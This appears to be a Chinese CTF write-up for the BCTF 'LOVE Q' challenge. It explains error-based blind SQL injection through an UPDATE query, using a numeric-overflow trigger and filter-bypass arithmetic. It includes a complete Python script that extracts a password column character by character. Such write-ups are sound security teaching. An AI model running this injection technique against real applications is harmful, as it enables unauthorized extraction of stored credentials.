BCTF LOVE Q Writeup

其实是N1CTF上的77777的第三版本23333

关键代码给出来了,和N1CTF上没有变化

但是这次不同的是不能再看到points的数值,所以之前的方法都不能用了

一般来说在UPDATE语句只能盲注,但是这里fuzz了一波发现sleep和benchmark还有等于号都被过滤了所以时间盲注也不好用了(况且时间盲注本来就是注入里面最不稳定的一种,一般都是没得选了才会用时间盲注)

仔细思考了一下,发现这里其实可以进行error base注入,关键点就在这两行代码

if(!update_point($_POST['flag'],$POST['hi']))
    echo 'sorry';

也就是说当MySQL执行时报错,页面上就会输出sorry。所以我们可以构造注入语句,让他在我们需要的时候报错。

以前从蓝猫师傅的博客中学到过一个姿势,如图:

这样就可以控制在if条件语句为真时才报错,所以我们就能进行注入了。

但是继续fuzz发现,数字被过滤的只能用2和9,那么这个payload就要稍微改一下变成:

而同样因为数字大部分被过滤,加号也被过滤,所以注入猜解时单数可用9-2-2..这样的形式来表示,偶数用9*2-2-2-2这样的形式来表示。

最后的脚本为:

import requests

strs = 'abcdefghijklmnopqrstuvwxyz'
url = 'http://104f7f8ae68540f99f73dfdbf4f8660b52cc16a7561f4bbf.game.ichunqiu.com'
data = {
    'flag': '1',
    'hi': ''
}
payload = "|if(substr(pw,{},9-2-2-2-2)>'{}',(select 999999999999999999999999999999 * 9e299),2)"
get = ''
pad = lambda n : '-2' * n
for i in xrange(1, 21):
    for j in strs:
        if i % 2 == 0:
            tmp = 36 - i
            data['hi'] = payload.format('9*2*2' + pad(tmp / 2), j)
        else:
            tmp = 29 - i
            data['hi'] = payload.format('29' + pad(tmp / 2), j)
        print data['hi']
        r = requests.post(url, data = data)
        if 'sorry' not in r.content:
            get += j
            print get
            break

发表评论